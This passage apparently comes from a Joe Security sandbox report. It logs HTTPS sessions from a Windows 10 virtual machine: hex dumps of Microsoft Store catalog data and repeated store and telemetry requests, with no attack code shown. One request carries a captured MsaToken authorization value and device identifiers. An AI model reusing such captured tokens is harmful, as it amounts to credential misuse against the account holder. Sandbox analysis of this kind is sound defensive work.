63 35 39 66 34 65 2d 31 63 64 63 2d 34 37 36 65 2d 61 37 32 61 2d 61 64 35 32 63 61 65 36 61 30 63 64 22 2c 22 57 75 
43 61 74 65 67 6f 72 79 49 64 22 3a 22 65 61 61 66 32 63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 3
6 66 62 63 34 34 61 37 63 64 22 2c 22 50 61 63 6b 61 67 65 46 61 
Data Ascii: {\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":
{"ProductId":"9WZDNCRFHVFW","WuBundleId":"3ac59f4e-1cdc-476e-a72a-ad52cae6a0cd","WuCategoryId":"eaaf2ce3-d5
a3-4a59-ae31-276fbc44a7cd","PackageFa

2021-11-25 16:28:41 UTC 1915 IN Data Raw: 61 66 32 63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 66 62 63 34 34 61 37 63 64 22 2c 
22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 
38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 
3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 
61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 65 78 4e 65 77 73 22 7d 5d 2c 
22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 38 36 22 2c 22 61 72 6d 22 2c 22 78 36 34 22 5d 2c 22 43 61 7
0 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 
Data Ascii: af2ce3-d5a3-4a59-ae31-276fbc44a7cd","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbw
e","SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"AppexNews"}],"Architectures":
["x86","arm","x64"],"Capabilities":["internet

2021-11-25 16:28:41 UTC 1919 IN Data Raw: 3a 5b 22 78 38 36 22 2c 22 78 36 34 22 2c 22 61 72 6d 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 
5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 
4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 39 34 33 32 32 37 32 36 2c 22 4d 61 78 49 6e 73 
74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 35 33 31 31 36 31 36 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 
74 22 3a 22 45 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 
69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 
63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 
Data Ascii: :["x86","x64","arm"],"Capabilities":["internetClient"],"ExperienceIds":[],"MaxDownloadSizeInBytes":94322726,
"MaxInstallSizeInBytes":35311616,"PackageFormat":"EAppxBundle","PackageFamilyName":"Microsoft.BingNe
ws_8wekyb3d8bbwe","MainPackageFamilyNameForDlc"
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2021-11-25 16:28:41 UTC 1923 IN Data Raw: 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 
6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 
6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 39 2e 33 30 30 30 31 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 
62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 36 64 35 65 34 37 63 39 2d 34 65 36 32 2d 37 36 
33 39 2d 66 31 63 33 2d 65 62 31 34 32 36 63 63 38 33 35 63 2d 58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 
61 67 65 52 61 6e 6b 22 3a 33 30 33 36 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7
b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 30 39 33 
Data Ascii: _8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Microsoft.BingNews_4.9.30001
.0_neutral_~_8wekyb3d8bbwe","PackageId":"6d5e47c9-4e62-7639-f1c3-eb1426cc835c-X86-X64-Arm","PackageR
ank":30363,"PlatformDependencies":[{"MaxTested":281475093

2021-11-25 16:28:41 UTC 1927 IN Data Raw: 57 4f 52 4b 22 2c 22 49 44 5f 52 45 53 4f 4c 55 54 49 4f 4e 5f 48 44 37 32 30 50 22 2c 22 49 44 5f 52 45 53 4f 
4c 55 54 49 4f 4e 5f 57 56 47 41 22 2c 22 49 44 5f 52 45 53 4f 4c 55 54 49 4f 4e 5f 57 58 47 41 22 2c 22 4d 69 63 72 6f 73 
6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 6f 74 53 75 70 70 6f 72 74 65 64 5f 38 77 65 6b 79 62 
33 64 38 62 62 77 65 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 
64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 37 35 34 33 37 30 36 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 
42 79 74 65 73 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 58 61 70 22 2c 22 50 61 63 6b 
61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 
Data Ascii: WORK","ID_RESOLUTION_HD720P","ID_RESOLUTION_WVGA","ID_RESOLUTION_WXGA","Micros
oft.storeFilter.core.notSupported_8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDownloadSizeInBytes":7543706,"MaxInst
allSizeInBytes":null,"PackageFormat":"Xap","PackageFamilyName":"Mic

2021-11-25 16:28:41 UTC 1931 IN Data Raw: 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 30 32 37 32 37 36 33 33 2d 39 64 30 31 2d 34 61 61 
32 2d 39 61 39 38 2d 30 65 39 66 33 61 30 30 30 61 65 31 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 
32 30 30 30 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 
65 64 22 3a 31 36 38 38 38 35 38 34 35 30 32 36 34 30 36 34 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 31 36 38 38 38 3
5 38 34 35 30 32 36 34 30 36 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 57 69 6e 64 
6f 77 73 38 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 
22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 
Data Ascii: bbwe","PackageId":"02727633-9d01-4aa2-9a98-0e9f3a000ae1-Arm","PackageRank":20003,"Platfo
rmDependencies":[{"MaxTested":1688858450264064,"MinVersion":1688858450264064,"PlatformName":"Windows
.Windows8x"}],"PlatformDependencyXmlBlob":"{\"blob.version\":168886

2021-11-25 16:28:41 UTC 1935 IN Data Raw: 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 
22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 
64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 
46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 
48 56 46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 33 61 63 35 39 66 34 65 2d 31 63 64 63 2d 34 37 36 65 2d 6
1 37 32 61 2d 61 64 35 32 63 61 65 36 61 30 63 64 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 65 61 61 66 32 
63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 
Data Ascii: :76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris"
:null,"FulfillmentData":{"ProductId":"9WZDNCRFHVFW","WuBundleId":"3ac59f4e-1cdc-476e-a72a-ad52cae6a0cd","WuCat
egoryId":"eaaf2ce3-d5a3-4a59-ae31-276

2021-11-25 16:28:41 UTC 1939 IN Data Raw: 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 2c 22 52 65 73 6f 75 72 63 65 53 65 74 49 64 73 22 3a 5b 22 31 22 
5d 2c 22 53 74 61 72 74 44 61 74 65 22 3a 22 31 37 35 33 2d 30 31 2d 30 31 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 
30 30 30 5a 22 2c 22 45 6c 69 67 69 62 69 6c 69 74 79 50 72 65 64 69 63 61 74 65 49 64 73 22 3a 5b 22 43 61 6e 6e 6f 
74 53 65 65 6e 42 79 43 68 69 6e 61 43 6c 69 65 6e 74 22 5d 7d 2c 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 2
2 3a 22 32 30 32 31 2d 31 31 2d 30 39 54 32 33 3a 30 33 3a 31 32 2e 37 31 39 36 32 31 30 5a 22 2c 22 4d 61 72 6b 65 
74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 
74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 
Data Ascii: 0:00.0000000Z","ResourceSetIds":["1"],"StartDate":"1753-01-01T00:00:00.0000000Z","EligibilityPredicateIds":[
"CannotSeenByChinaClient"]},"LastModifiedDate":"2021-11-09T23:03:12.7196210Z","Markets":["US"],"OrderManagemen
tData":{"GrantedEntitlementKeys":[],"

2021-11-25 16:28:41 UTC 1941 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

46 192.168.2.4 49849 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:41 UTC 1746 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFJ140&skuId=0010&installKind
=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=20211125T162818Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:41 UTC 1755 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: c5742af0-8516-462e-9ebe-edb30fe271bd
Date: Thu, 25 Nov 2021 16:28:41 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

47 192.168.2.4 49850 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Copyright Joe Security LLC 2021 Page 167 of 214



Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:41 UTC 1935 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NC2FBTHCJV8&skuId=0010&installKind
=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=202111
25T162818Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:41 UTC 1941 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: ed5ac43b-0c6b-413e-b3d6-b48c0408a760
Date: Thu, 25 Nov 2021 16:28:41 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

48 192.168.2.4 49851 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:42 UTC 1941 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NBLGGH1CQ7L&skuId=0010&installKind
=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=202111
25T162819Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:42 UTC 1941 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 3a12112c-ef80-4194-90c7-56fd6f769a9b
Date: Thu, 25 Nov 2021 16:28:41 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

49 192.168.2.4 49852 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:42 UTC 1942 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&bSrc=i.t&time=20211125T162819Z&asid=7ce082e
ac3534ff581e52b293cda5133&eid= HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:42 UTC 1942 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 07dc3bbb-1962-4472-930e-d8006004fd3a
Date: Thu, 25 Nov 2021 16:28:41 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.4 49730 40.127.240.158 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:32 UTC 60 OUT GET /settings/v2.0/WSD/WaaSAssessment?os=Windows&osVer=10.0.17134.1.amd64fre.rs4_release.180410-&rin
g=Retail&sku=48&deviceClass=Windows.Desktop&locale=en-US&deviceId=A2AB526A-D38D-4FC9-8BA0-E34B8D6354
E8&UpdateOfferedDays=875&BranchReadinessLevel=CB&PonchAllow=0&IsCloudDomainJoined=0&ProcessorIdentif
ier=Intel64%20Family%206%20Model%2085%20Stepping%207&CurrentBranch=rs4_release&ActivationChannel=OEM
%3ANONSLP&OEMModel=VMware7%2C1&FlightRing=Retail&AttrDataVer=107&IsMDMEnrolled=0&InstallLanguage=en-
US&OSUILocale=en-US&OEMModelBaseBoard=440BX%20Desktop%20Reference%20Platform&FirmwareVersi
on=VMW71.00V.13989454.B64.1906190538&InstallationType=Client&FlightingBranchName=&ServicingBranch=CB
&GStatusBlockIDs_All=&OSSkuId=48&App=WaaSAssessment&InstallDate=1561646961&ProcessorManufacturer=Gen
uineIntel&OEMName_Uncleaned=VMware%2C%20Inc.&AppVer=10.0&OSArchitecture=AMD64&HonorWUfBDef
errals=0&UpdateManagementGroup=2&IsDeviceRetailDemo=0&HidOverGattReg=C%3A%5CWindows%5CSyst
em32%5CDriverStore%5CFileRepository%5Chidbthle.inf_amd64_467f181075371c89%5CMicrosoft.Bluetooth.Prof
iles.HidOverGatt.dll&IsFlightingEnabled=0&TelemetryLevel=1&DefaultUserRegion=244&Bios=2019&WuClientVer=10.0.17
134.1&Free=16to32&OSVersion=10.0.17134.1&DeviceFamily=Windows.Desktop HTTP/1.1
Connection: Keep-Alive
Authorization: MsaToken t=GwAWAX94BAAU+vB6B7/6tNI0vbzcuOrZ3eBJR2gOZgAAEEdvEjlL7KRzX9PI1gcN
xkPgAHXJDLR8nQRaopWwit4D2OFYqn+dfbprV7d8L0ZjlFlMEgZPKpNIbNcX+SqyO+PqURXaQP1cqMq9zdB3pejf8k
F39Lm1u3GyS1g+qMaILZ/uX1iKPSa/CdDPlAUfswvL7dde+gHPDQcK7wbwYnjjvTli5ovfHG5HkjSl4eLa6FkBSxYX
3p81Pb4RsGvcGHr+hAjvCVxOWGPL7FEmlsErsIheylg7PP0oqFcx/uKnKCqF8+aIHk9ybe6ANUzOjJE6nU5kEghRR/
rZ4E/qAXQ4goYvSMuP3w0YocbSNfivFJS/GgE=&p=
If-None-Match: 360:66A2A38654953B1F547B163A::2F08B14EE3
User-Agent: WaaSAssessment
Host: settings-win.data.microsoft.com

2021-11-25 16:27:32 UTC 69 IN HTTP/1.1 200 OK
Cache-Control: no-cache,no-store
Content-Length: 1002
Content-Type: application/json
ETag: 360:66A2A3860B26F02B547B163A::2F0EC4F4AB
Server: Microsoft-HTTPAPI/2.0
Date: Thu, 25 Nov 2021 16:27:31 GMT
Connection: close

2021-11-25 16:27:32 UTC 69 IN Data Raw: 7b 22 72 65 66 72 65 73 68 49 6e 74 65 72 76 61 6c 22 3a 22 33 36 30 22 2c 22 71 75 65 72 79 55 72 6c 22 3a 
22 2f 73 65 74 74 69 6e 67 73 2f 76 32 2e 30 2f 57 53 44 2f 57 61 61 53 41 73 73 65 73 73 6d 65 6e 74 22 2c 22 73 65 74 
74 69 6e 67 73 22 3a 7b 22 31 30 2e 30 2e 31 37 31 33 34 2e 31 22 3a 22 31 33 31 36 39 35 38 31 32 30 30 30 30 30 30 
30 30 30 22 2c 22 31 30 2e 30 2e 31 37 31 33 34 2e 52 54 4d 22 3a 22 31 30 2e 30 2e 31 37 31 33 34 2e 31 22 2c 22 31 
30 2e 30 2e 31 37 31 33 34 2e 53 42 22 3a 22 31 30 2e 30 2e 31 37 31 33 34 2e 31 22 2c 22 43 55 52 52 45 4e 54 22 3a 
22 31 30 2e 30 2e 32 32 35 30 34 2e 31 30 31 30 22 2c 22 44 49 53 41 42 4c 45 41 53 53 45 53 53 4d 45 4e 54 22 3a 22 
30 22 2c 22 44 4f 53 53 49 45 52 54 49 4d 45 53 54 41 4d 50 22 3a 22 
Data Ascii: {"refreshInterval":"360","queryUrl":"/settings/v2.0/WSD/WaaSAssessment","settings":{"10.0.17134.1":"13169581
2000000000","10.0.17134.RTM":"10.0.17134.1","10.0.17134.SB":"10.0.17134.1","CURRENT":"10.0.22504.1010","DISABL
EASSESSMENT":"0","DOSSIERTIMESTAMP":"

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

50 192.168.2.4 49853 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:42 UTC 1942 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&c
id=128000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFJ3Q2&skuId=0010&installKind=Install&ctid=st
ore-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162824Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:42 UTC 1943 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: a67eb201-9930-442a-a017-d08f8644ca77
Date: Thu, 25 Nov 2021 16:28:41 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

51 192.168.2.4 49854 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:42 UTC 1943 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&c
id=128000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=st
ore-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162824Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
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2021-11-25 16:28:42 UTC 1944 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: c3d85ec7-3494-45f9-94b7-4b08b58ed9b4
Date: Thu, 25 Nov 2021 16:28:42 GMT
Connection: close

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

52 192.168.2.4 49855 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:43 UTC 1944 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&c
id=128000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=st
ore-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162825Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:43 UTC 1945 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: cd27baa5-b485-46fb-8818-f49de0cdc9ce
Date: Thu, 25 Nov 2021 16:28:42 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

53 192.168.2.4 49858 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:43 UTC 1945 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&c
tid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162826Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:43 UTC 1945 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 70a01cf3-9b4a-4c82-82ac-75509a57802b
Date: Thu, 25 Nov 2021 16:28:42 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

54 192.168.2.4 49859 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:43 UTC 1946 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFJ3Q2&skuId=0010&installKind
=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162826Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:43 UTC 1946 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 73c518aa-60fc-4dfa-82a0-da13c2627229
Date: Thu, 25 Nov 2021 16:28:43 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

55 192.168.2.4 49860 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:43 UTC 1946 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFHVFW&skuId=0010&installKind
=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162827Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:43 UTC 1947 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: dd72aa12-2225-41ef-9559-839ee10de696
Date: Thu, 25 Nov 2021 16:28:43 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

56 192.168.2.4 49861 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:44 UTC 1947 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NCBCSZSJRSB&skuId=0010&installKind
